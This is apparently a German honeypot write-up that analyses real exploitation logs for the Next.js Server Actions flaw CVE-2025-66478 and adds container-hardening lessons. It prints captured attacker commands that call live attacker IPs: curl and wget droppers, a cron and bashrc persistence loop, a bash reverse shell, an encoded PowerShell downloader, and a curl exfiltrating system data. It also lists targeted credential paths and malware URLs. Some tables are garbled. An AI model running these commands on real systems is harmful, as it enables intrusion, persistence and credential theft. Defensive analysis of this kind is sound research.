
Analyse realer Angriffslogs der CVE-2025-66478 (Next.js Server Actions RCE) mit Malware-Beispielen, Verfolgung der Angreifer-IPs und Lektionen zur Härtung der Containersicherheit.
Dieses Projekt sammelt echte Angriffslogs, die von einer im Internet freigegebenen Next.js 15.1.2-Anwendung (ausgeführt in einem Docker-Container) aufgezeichnet wurden. Diese Logs zeigen, wie die Schwachstelle CVE-2025-66478 im Feld von massiven automatisierten Angriffstools gescannt und ausgenutzt wird.
Aufzeichnungszeitraum: 2025-12-04 ~ 2025-12-06 (ca. 48 Stunden)
Umgebungsinformationen:
Angreifer versuchen, über die Schwachstelle Befehle zum Herunterladen und Ausführen von Schadsoftware auszuführen.
| Angriffsquell-IP | URL der Schadsoftware | Beschreibung |
|---|---|---|
| 216.158.232.43 | http://216.158.232.43:12000/sex.sh | Botnetz/Miner |
| 38.207.161.212 | http://38.207.161.212/agent | Schadsoftware-Agent |
| 43.156.63.124 | http://43.156.63.124/tsd | Cron-Hintertür eingesetzt |
| 154.38.121.219 | res.qiqigece.top/nginx3 | Als nginx getarnte Schadsoftware |
| 47.79.42.91 | iot.632313373.xyz/nz.sh | IoT-Botnetz-Skript |
| 47.79.65.237 | sup001.oss-cn-hongkong.aliyuncs.com/python1.sh | Miner/Hintertür |
| 103.135.101.15 | http://103.135.101.15/wocaosinm.sh | Schadskript |
| 38.12.24.231 | http://38.12.24.231/kworker | Als Kernel Worker getarnte Schadsoftware |
| 128.199.194.97 | http://128.199.194.97:9001/setup2.sh | Initialisierungsskript |
# Typischer Dropper-Angriff
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a
# Einschleusen einer Cron-Hintertür zur Persistenz
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd
# Komplexer Persistenzangriff (mehrere Download-Methoden + Cron + Bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
mkdir -p $d;
if [ -w $d ]; then
p="$d/$n";
(curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
chmod +x $p;
nohup $p >/dev/null 2>&1 &
(crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
fi;
done
Angreifer versuchen, eine Reverse-Shell-Verbindung herzustellen, um interaktiven Zugriff zu erhalten.
# Bash Reverse Shell
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"
Angreifer nehmen fälschlicherweise an, dass das Ziel ein Windows-System ist, und versuchen, PowerShell-Befehle auszuführen.
# Base64-kodiertes bösartiges PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA
# Dekodiert:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')
# Mathematische Berechnungen zur Schwachstellenbestätigung
powershell -c "41*271" # = 11111 (Bestätigungscode)
powershell -c "44225*41002" # = 1814113450
Angreifer versuchen, Systeminformationen für weitere Angriffe zu sammeln.
# Systeminformationen sammeln und exfiltrieren
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`
Angreifer versuchen, verschiedene sensible Dateien und Anmeldeinformationen auszulesen.
Erfolgreich exfiltrierte Container-Umgebungsvariablen über die Schwachstelle:
HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0
Angreifer verwenden DNS-Abfragen zur Datenexfiltration oder Schwachstellenbestätigung:
ping 5a58e4a0.log.dnslog.pp.ua.
Die meisten Angriffe scheitern aufgrund der reduzierten Natur von Alpine Linux-Containern:
| Fehlendes Tool | Auswirkung |
|---|---|
curl | Herunterladen von Schadsoftware nicht möglich |
bash |
Obwohl wget verfügbar ist, verlassen sich einige bösartige Skripte intern auf curl oder bash, was zur Fehlausführung führt.
Die Logs enthalten eine große Menge Base64-kodierter Daten. Nachfolgend einige dekodierte Ergebnisse:
# digest: 'cm9vdAo='
Dekodiert: root
# digest: 'dGVzdAo='
Dekodiert: test
# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
Dekodiert: vulnerability_test
# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
Dekodiert: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# /tmp Verzeichnisinhalt
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==
Dekodiert:
total 20
drwxrwxrwt 1 root root 4096 Dec 5 18:00 .
drwxr-xr-x 1 root root 4096 Dec 4 13:36 ..
-rwxr-xr-x 1 root root 9848 Dec 5 18:00 INSTALL
Nachfolgend die aufgezeichneten IP-Adressen der Angriffsquellen:
Angreifer versuchen, nicht existierende Server Actions aufzurufen:
Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"
Angreifer nutzen das digest-Feld in Fehlermeldungen aus, um Daten zu exfiltrieren:
Error: x
digest: 'cm9vdAo=' // Base64-kodiertes 'root'
curl, bash, python, die missbraucht werden könnten--read-only ausDieses Projekt dient ausschließlich der Sicherheitsausbildung und Forschung. Alle aufgezeichneten Angriffe sind echte Angriffsversuche auf einen Forschungs-Honeypot. Verwenden Sie diese Informationen nicht für illegale Zwecke.
Dieses Projekt enthält echte Malware-Beispiele, die aus den Angriffslogs extrahiert und heruntergeladen wurden. Eine detaillierte Analyse finden Sie unter:
MIT License
| Kategorie | Pfad |
|---|
| Cloud-Anmeldedaten | /root/.aws/credentials, /root/.aws/config |
/root/.config/gcloud/credentials.db | |
/root/.config/gcloud/application_default_credentials | |
| SSH-Schlüssel | /root/.ssh/id_rsa, /root/.ssh/config |
| Git-Anmeldedaten | /root/.git-credentials, /root/.gitconfig |
| Container/K8s | /root/.docker/config, /root/.kube/config |
/var/lib/kubelet/config.yaml | |
| Anwendungen | /proc/self/cwd/serviceAccountKey.json (Firebase) |
/proc/self/cwd/prisma/.env, /proc/self/cwd/prisma/schema.prisma | |
| Shell-Verlauf | /root/.bash_history, /root/.zsh_history |
| Cloud-Tools | /root/.ossutilconfig (Alibaba Cloud OSS) |
/root/.npmrc | |
| Systemkonfiguration | /etc/ansible/ansible.cfg, /etc/passwd, /etc/shadow |
| Ausführung bash-spezifischer Syntax (z.B. Reverse Shell) nicht möglich |
powershell | Windows-Angriffe unwirksam |
python | Python-Downloader nicht nutzbar |
| IP-Adresse | Land/Region (vermutet) | Angriffstyp |
|---|
| 216.158.232.43 | USA | Dropper |
| 38.165.44.205 | USA | Dropper |
| 23.95.44.80 | USA | Dropper |
| 154.38.121.219 | Hongkong | Malware (nginx3) |
| 38.207.161.212 | USA | Agent |
| 43.156.63.124 | China | Cron-Hintertür |
| 47.79.42.91 | China (Alibaba Cloud) | IoT-Botnetz |
| 47.79.65.237 | China (Alibaba Cloud) | Miner |
| 119.45.243.154 | China (Tencent Cloud) | Miner |
| 144.22.210.54 | Brasilien | Dropper |
| 217.60.249.228 | Schweden | Dropper |
| 154.26.192.32 | USA | Reverse Shell |
| 156.234.209.103 | Unbekannt | PowerShell-Payload |
| 38.60.212.106 | USA | Informationssammlung |
| 103.135.101.15 | Vietnam | Botnetz |
| 128.199.194.97 | Singapur (DigitalOcean) | Setup-Skript |
| 38.12.24.231 | USA | Persistente Schadsoftware |
| Datei | Typ | Größe | Quelle | Bedrohungsstufe |
|---|
| nz.sh | Shell-Skript | 931 B | iot.632313373.xyz | Mittel |
| tsd.sh | Shell-Skript | 1.7 KB | 43.156.63.124 | Hoch |
| tsd | ELF 64-bit | 6.8 MB | 43.156.63.124 | Hoch |
| init.sh | Shell-Skript | 6.1 KB | AWS S3 | Kritisch |
| agent | ELF 64-bit | 23.7 MB | AWS S3 | Kritisch |
| Agtisx.exe | PE32+ (Windows) | 24.0 MB | AWS S3 | Kritisch |